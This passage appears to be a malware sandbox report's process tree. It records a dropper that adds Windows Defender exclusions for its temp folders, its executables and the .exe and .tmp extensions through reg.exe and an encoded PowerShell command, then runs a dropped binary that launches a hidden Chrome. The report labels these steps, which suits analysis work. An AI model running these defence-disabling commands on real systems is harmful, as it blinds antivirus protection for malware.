    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6316
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4744
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456" /t REG_DWORD /d 0 /f
      4⤵
      PID:5452
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:984
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:3764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      PID:1916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1412
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2468
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1224
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:4516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2168
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4864
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2800
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:5736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:6448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEYAcgBjAEYAZgBKAEgAaABnAE0AYwB0AE4AbQA1ADgAcgA4AE0AZgA2AG0AcQA3ADQAUABcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMAAwADYAMQA5ADMANAA1ADYAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAwADAANgAxADkAMwA0ADUANgBcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADAAMAA2ADEAOQAzADQANQA2AFwAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAxAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBjAG8AbQBwAG8AbgBlAG4AdABfADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEYAcgBjAEYAZgBKAEgAaABnAE0AYwB0AE4AbQA1ADgAcgA4AE0AZgA2AG0AcQA3ADQAUABcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMAAwADYAMQA5ADMANAA1ADYAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAwADAANgAxADkAMwA0ADUANgBcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADAAMAA2ADEAOQAzADQANQA2AFwAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAxAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBjAG8AbQBwAG8AbgBlAG4AdABfADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6208
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe"
      4⤵
      PID:2408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4248
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456"
      4⤵
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4272
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
      4⤵
      PID:2496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe"
      4⤵
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6556
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_2.exe"
      4⤵
      PID:2104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious use of WriteProcessMemory
    PID:6068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6384
- - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
    C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783006193456\component_1.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:5928
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-gpu about:blank
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:6076
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffb4f68c728,0x7ffb4f68c734,0x7ffb4f68c740
        5⤵
        
        PID:1916
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1612,i,5279494814430394966,11272374156904626530,262144 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=1948 /prefetch:2
        5⤵
        
        PID:6040
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,16598868891580205421,16967431041400315970,524288 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=1452 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:6044
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2220,i,7358482153393052345,13651876156010250522,524288 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:13
        5⤵
        
        PID:7032
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2972,i,18355212009293619112,9740763900376558691,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:1
        5⤵
        
        PID:3068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2984,i,5939912684602755730,2228103934086651913,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=3004 /prefetch:1
        5⤵
        
        PID:5224
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4600,i,9231700907201625107,1517870269175369878,524288 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=4604 /prefetch:14
        5⤵
        
        PID:424
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5380,i,14793117202246030687,10775513308582908874,524288 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:14
        5⤵
        
        PID:6676
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5432,i,14970160706055470040,3695213624961056698,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:1
        5⤵
        
        PID:2544
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5464,i,1118041607648086122,11046423939060876204,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:1
        5⤵
        
        PID:3924
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5476,i,5158381915325002509,6724898623500211724,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:1
        5⤵
        
        PID:2628
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5796,i,10144345008173365728,6274523451252908422,524288 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:14
        5⤵
        
        PID:2728
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4616,i,17470491532619840129,139688323119572135,2097152 --field-trial-handle=1956,i,3665260613156526097,9556128066253414981,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:1
        5⤵
        
        PID:1780
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
